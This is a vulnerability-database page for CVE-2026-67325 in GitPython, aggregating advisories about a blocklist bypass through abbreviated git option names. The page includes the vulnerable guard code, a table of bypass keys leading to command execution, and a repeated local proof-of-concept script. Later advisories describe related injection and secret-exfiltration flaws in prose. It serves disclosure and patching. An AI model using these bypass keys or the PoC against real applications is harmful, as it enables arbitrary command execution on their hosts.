Every CVE Search/ Get API key

CVE-2026-67325

GitPython before 3.1.51 Command Injection via option prefix abbreviation

8.7 HighFix available

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

2.21%Up 0.7 points since Aug 2, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

GitPython before 3.1.51 Command Injection via option prefix abbreviation

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.

Record
CVE-2026-67325
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
EUVDEUVD-2026-51858 8.7

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.

Record
EUVD-2026-51858
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-2f96-g7mh-g2hx 8.8

GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython) Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42) Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)

| Location | Role | |---|---| | git/cmd.py:948-960 _canonicalize_option_name | canonicalizer — no prefix expansion | | git/cmd.py:963-974 check_unsafe_options | exact-match dict lookup (the incomplete guard) | | git/cmd.py:1511 transform_kwarg | emits --<dashify(name)>=<value> to the CLI | | git/repo/base.py:1411,1413 | clone call sites | | git/remote.py:1074,1128,1201 | fetch / pull / push call sites |

Bypass keys (verified)

| kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | upload_p, upload_pac | --upload-pack | clone / fetch / pull | Yes — direct RCE | | receive_p | --receive-pack | push | Yes — direct RCE | | exe | --exec | push | Yes — direct RCE | | conf, confi | --config | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |

Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:",…
Record
GHSA-2f96-g7mh-g2hx
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78, CWE-184
Updated
2026-11-02
GitHub AdvisoriesGHSA-6r2r-ww24-7h52 8.7

Duplicate Advisory: GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2f96-g7mh-g2hx. This link is maintained to preserve external references.

Original Description

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.

Record
GHSA-6r2r-ww24-7h52
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
NVD 8.7

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.

Record
CVE-2026-67325
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSV 8.7

GitPython before 3.1.51 Command Injection via option prefix abbreviation

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.

Record
CVE-2026-67325
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-78
Updated
2026-11-02
Show 22 moreShow less
OSVDEBIAN-CVE-2026-67325 8.7

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.

Record
DEBIAN-CVE-2026-67325
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVGHSA-2f96-g7mh-g2hx 8.8

GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython) Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42) Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)

| Location | Role | |---|---| | git/cmd.py:948-960 _canonicalize_option_name | canonicalizer — no prefix expansion | | git/cmd.py:963-974 check_unsafe_options | exact-match dict lookup (the incomplete guard) | | git/cmd.py:1511 transform_kwarg | emits --<dashify(name)>=<value> to the CLI | | git/repo/base.py:1411,1413 | clone call sites | | git/remote.py:1074,1128,1201 | fetch / pull / push call sites |

Bypass keys (verified)

| kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | upload_p, upload_pac | --upload-pack | clone / fetch / pull | Yes — direct RCE | | receive_p | --receive-pack | push | Yes — direct RCE | | exe | --exec | push | Yes — direct RCE | | conf, confi | --config | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |

Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:",…
Record
GHSA-2f96-g7mh-g2hx
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-184, CWE-78
Updated
2026-11-02
OSVGHSA-6r2r-ww24-7h52 8.7

Duplicate Advisory: GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2f96-g7mh-g2hx. This link is maintained to preserve external references.

Original Description

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.

Record
GHSA-6r2r-ww24-7h52
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVOESA-2026-3249 9.3

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)

GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)

GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)

Record
OESA-2026-3249
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVOESA-2026-3250 9.3

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)

GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)

GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)

Record
OESA-2026-3250
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVOESA-2026-3251 9.3

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)

GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)

GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)

Record
OESA-2026-3251
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVPYSEC-2026-3836 8.8

GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython) Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42) Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)

| Location | Role | |---|---| | git/cmd.py:948-960 _canonicalize_option_name | canonicalizer — no prefix expansion | | git/cmd.py:963-974 check_unsafe_options | exact-match dict lookup (the incomplete guard) | | git/cmd.py:1511 transform_kwarg | emits --<dashify(name)>=<value> to the CLI | | git/repo/base.py:1411,1413 | clone call sites | | git/remote.py:1074,1128,1201 | fetch / pull / push call sites |

Bypass keys (verified)

| kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | upload_p, upload_pac | --upload-pack | clone / fetch / pull | Yes — direct RCE | | receive_p | --receive-pack | push | Yes — direct RCE | | exe | --exec | push | Yes — direct RCE | | conf, confi | --config | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |

Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:",…
Record
PYSEC-2026-3836
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:44416 8.8

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:44416
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:45785 8.8

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:45785
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:45940 8.8

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:45940
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:59135 8.8

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

Record
RHSA-2026:59135
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:59136 8.8

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

Record
RHSA-2026:59136
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:71113 9.9

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

Record
RHSA-2026:71113
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:71114 9.9

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

Record
RHSA-2026:71114
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-67325 8.7

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.

Record
UBUNTU-CVE-2026-67325
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVCLSA-2026-1787718591 No score

TuxCare security update for gitpython (11 CVEs)

TuxCare rebuilt gitpython to address 11 CVEs. Fixed in 3.1.31.post10+tuxcare.

Record
CLSA-2026-1787718591
Updated
2026-11-02
OSVopenSUSE-SU-2026:11466-1 No score

python313-GitPython-3.1.58-1.1 on GA media

These are all security issues fixed in the python313-GitPython-3.1.58-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11466-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21874-1 No score

Security update for python-GitPython

This update for python-GitPython fixes the following issues:

  • CVE-2026-67322: environment-variable exfiltration in Repo.clone_from() URL via os.path.expandvars() (bsc#1273357).
  • CVE-2026-67323: unguarded Git options passed as keyword arguments in Repo.archive() and git.ls_remote() allow for command injection (bsc#1273358).
  • CVE-2026-67325: incomplete command injection blocklist fails to account for git's long-option prefix abbreviation feature and allows for bypass (bsc#1273359).
  • CVE-2026-67326: failure to validate newline characters in the section parameter of config_writer() can lead to RCE via core.hooksPath (bsc#1273364).
  • CVE-2026-69097: failure to properly escape section names in Git config files allows for injection of arbitrary configuration directives through malicious submodule names and can lead to RCE (bsc#1273414).
  • CVE-2026-73619: incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add- virtual-file options can lead to arbitrary file reads (bsc#1275755).
  • CVE-2026-73620: failure to guard Git option forwarding in IndexFile.checkout() and TagReference.create() can lead to arbitrary file reads and writes (bsc#1275756).
  • CVE-2026-73621: argument injection in the Commit.count() method allows for destruction/blanking of arbitrary files (bsc#1275757).
  • CVE-2026-73622: failure to disable environment variable expansion in Remote.create() and Submodule.add() URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).
  • CVE-2026-73623: incomplete denylist in unsafe_git_clone_options that omits --template allows for arbitrary command execution (bsc#1275752).
  • CVE-2026-73624: Diffable.diff method fails to validate git options passed through kwargs, which can lead to arbitrary file writes (bsc#1275753).
  • CVE-2026-73625: check_unsafe_options guard bypass via smuggling of git options inside single-character kwarg values can lead to arbitrary code execution (bsc#1275754).
  • CVE-2026-76217: failure to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() can lead to arbitrary file reads (bsc#1275745).
  • CVE-2026-76218: unguarded git option forwarding in Repo.init allows for arbitrary command execution (bsc#1275746).
  • CVE-2026-76219: unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree can lead to arbitrary file overwrites (bsc#1275747).
  • CVE-2026-76220: check_unsafe_options guard can be bypassed by combining a single-character kwarg with split_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748).
  • CVE-2026-76221: config-name injection in the option-name validator can lead to remote code execution (bsc#1275749).
  • CVE-2026-76222: failure to validate submodule names from .gitmodules files allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750).
  • CVE-2026-78675: failure to disable merge_includes when parsing .gitmodules can lead to discloseure of local file contents when arbitrary file paths are included via [include] directives (bsc#1276434).
  • CVE-2026-78676: failure to safely re-serialize multi-line git-config values during write operations can corrupt dormant quoted values into live injected directives (bsc#1276433).
  • CVE-2026-78677: omission of --separate-git-dir from unsafe_git_clone_options allows for creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
  • CVE-2026-78678: incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options allows for reading of arbitrary files when these options to are passed to Repo.blame() (bsc#1276431).
  • CVE-2026-78679: positional reference parameter can bypass an unsafe option guard and allows for arbitrary file read via…
Record
openSUSE-SU-2026:21874-1
Updated
2026-11-02
OSVROOT-APP-PYPI-CVE-2026-67325 No score

CVE-2026-67325 in gitpython - Patched by Root

Root has patched CVE-2026-67325 in the gitpython package for Root:PyPI. Multiple fixed versions available.

Record
